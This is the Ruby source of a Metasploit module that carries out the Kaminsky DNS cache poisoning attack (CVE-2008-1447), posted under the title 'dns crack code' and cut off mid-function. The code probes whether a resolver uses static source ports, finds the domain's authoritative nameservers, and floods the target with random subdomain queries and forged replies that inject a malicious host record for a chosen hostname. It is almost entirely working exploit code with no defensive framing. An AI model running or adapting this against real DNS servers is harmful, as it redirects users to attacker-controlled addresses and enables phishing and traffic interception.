dns crack code
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| require 'msf/core' |
| require 'net/dns' |
| require 'scruby' |
| require 'resolv' |
| module Msf |
| class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary |
| include Exploit::Remote::Ip |
| def initialize(info = {}) |
| super(update_info(info, |
| 'Name' => 'DNS BaliWicked Attack', |
| 'Description' => %q{ |
| This exploit attacks a fairly ubiquitous flaw in DNS implementations which |
| Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single |
| malicious host entry into the target nameserver by sending random sub-domain |
| queries to the target DNS server coupled with spoofed replies to those |
| queries from the authoritative nameservers for the domain which contain a |
| malicious host entry for the hostname to be poisoned in the authority and |
| additional records sections. Eventually, a guessed ID will match and the |
| spoofed packet will get accepted, and due to the additional hostname entry |
| being within baliwick constraints of the original request the malicious host |
| entry will get cached. |
| }, |
| 'Author' => [ 'I)ruid', 'hdm' ], |
| 'License' => MSF_LICENSE, |
| 'Version' => '$Revision$', |
| 'References' => |
| [ |
| [ 'CVE', '2008-1447' ], |
| [ 'US-CERT-VU', '8000113' ], |
| [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ], |
| ], |
| 'Privileged' => true, |
| 'Targets' => |
| [ |
| ["BIND", |
| { |
| 'Arch' => ARCH_X86, |
| 'Platform' => 'linux', |
| }, |
| ], |
| ], |
| 'DisclosureDate' => 'Jul 21 2008' |
| )) |
| register_options( |
| [ |
| OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), |
| OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']), |
| OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), |
| OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), |
| OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), |
| OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), |
| ], self.class) |
| end |
| def auxiliary_commands |
| return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } |
| end |
| def cmd_check(*args) |
| targ = args[0] || rhost() |
| if(not (targ and targ.length > 0)) |
| print_status("usage: check [dns-server]") |
| return |
| end |
| print_status("Using the Metasploit service to verify exploitability...") |
| srv_sock = Rex::Socket.create_udp( |
| 'PeerHost' => targ, |
| 'PeerPort' => 53 |
| ) |
| random = false |
| ports = [] |
| lport = nil |
| 1.upto(5) do |i| |
| req = Resolv::DNS::Message.new |
| txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
| req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
| req.rd = 1 |
| srv_sock.put(req.encode) |
| res, addr = srv_sock.recvfrom() |
| if res and res.length > 0 |
| res = Resolv::DNS::Message.decode(res) |
| res.each_answer do |name, ttl, data| |
| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
| t_addr, t_port = $1.split(':') |
| print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") |
| t_port = t_port.to_i |
| if(lport and lport != t_port) |
| random = true |
| end |
| lport = t_port |
| ports << t_port |
| end |
| end |
| end |
| end |
| srv_sock.close |
| if(ports.length < 5) |
| print_status("UNKNOWN: This server did not reply to our vulnerability check requests") |
| return |
| end |
| if(random) |
| print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") |
| print_status(" This server may still be exploitable, but not by this tool.") |
| else |
| print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") |
| end |
| end |
| def run |
| target = rhost() |
| source = Rex::Socket.source_address(target) |
| sport = datastore['SRCPORT'] |
| hostname = datastore['HOSTNAME'] + '.' |
| address = datastore['NEWADDR'] |
| recons = datastore['RECONS'] |
| xids = datastore['XIDS'].to_i |
| ttl = datastore['TTL'].to_i |
| domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] |
| srv_sock = Rex::Socket.create_udp( |
| 'PeerHost' => target, |
| 'PeerPort' => 53 |
| ) |
| # Get the source port via the metasploit service if it's not set |
| if sport.to_i == 0 |
| req = Resolv::DNS::Message.new |
| txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
| req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
| req.rd = 1 |
| srv_sock.put(req.encode) |
| res, addr = srv_sock.recvfrom() |
| if res and res.length > 0 |
| res = Resolv::DNS::Message.decode(res) |
| res.each_answer do |name, ttl, data| |
| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
| t_addr, t_port = $1.split(':') |
| sport = t_port.to_i |
| print_status("Switching to target port #{sport} based on Metasploit service") |
| if target != t_addr |
| print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") |
| end |
| end |
| end |
| end |
| end |
| # Verify its not already cached |
| begin |
| query = Resolv::DNS::Message.new |
| query.add_question(hostname, Resolv::DNS::Resource::IN::A) |
| query.rd = 0 |
| begin |
| cached = false |
| srv_sock.put(query.encode) |
| answer, addr = srv_sock.recvfrom() |
| if answer and answer.length > 0 |
| answer = Resolv::DNS::Message.decode(answer) |
| answer.each_answer do |name, ttl, data| |
| if((name.to_s + ".") == hostname and data.address.to_s == address) |
| t = Time.now + ttl |
| print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") |
| print_status(" Cache entry expires on #{t.to_s}... sleeping.") |
| cached = true |
| sleep ttl |
| end |
| end |
| end |
| end until not cached |
| rescue ::Interrupt |
| raise $! |
| rescue ::Exception => e |
| print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") |
| end |
| res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver |
| print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" |
| # Look up the nameservers for the domain |
| print_status "Querying recon nameserver for #{domain}'s nameservers..." |
| answer0 = res0.send(domain, Net::DNS::NS) |
| #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" |
| barbs = [] # storage for nameservers |
| answer0.answer.each do |rr0| |
| print_status " Got an #{rr0.type} record: #{rr0.inspect}" |
| if rr0.type == 'NS' |
| print_status "Querying recon nameserver for address of #{rr0.nsdname}..." |
| answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname |
| #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" |
| answer1.answer.each do |rr1| |
| print_status " Got an #{rr1.type} record: #{rr1.inspect}" |
| res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) |
| print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." |
| answer2 = res2.send(domain) |
| if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 |
| nsrec = {:name => rr0.nsdname, :addr => rr1.address} |
| barbs << nsrec |
| print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" |
| end |
| end |
| end |
| end |
| if barbs.length == 0 |
| print_status( "No DNS servers found.") |
| srv_sock.close |
| disconnect_ip |
| return |
| end |
| # Flood the target with queries and spoofed responses, one will eventually hit |
| queries = 0 |
| responses = 0 |
| connect_ip if not ip_sock |
| print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") |
| while true |
| randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname |
| # Send spoofed query |
| req = Resolv::DNS::Message.new |
| req.id = rand(2**16) |
| req.add_question(randhost, Resolv::DNS::Resource::IN::A) |
| req.rd = 1 |
| buff = ( |
| Scruby::IP.new( |
| #:src => barbs[0][:addr].to_s, |
| :src => source, |
| :dst => target, |
| :proto => 17 |
| )/Scruby::UDP.new( |
| :sport => (rand((2**16)-1024)+1024).to_i, |
| :dport => 53 |
| )/req.encode |
| ).to_net |
| ip_sock.sendto(buff, target) |
| queries += 1 |
| # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) |
| req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
| req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) |
| req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
| req.qr = 1 |
| req.ra = 1 |
| p = rand(4)+2*10000 |
| p.upto(p+xids-1) do |id| |
| req.id = id |
| barbs.each do |barb| |
| buff = ( |
| Scruby::IP.new( |
| #:src => barbs[i][:addr].to_s, |
| :src => barb[:addr].to_s, |
| :dst => target, |
| :proto => 17 |
| )/Scruby::UDP.new( |
| :sport => 53, |
| :dport => sport.to_i |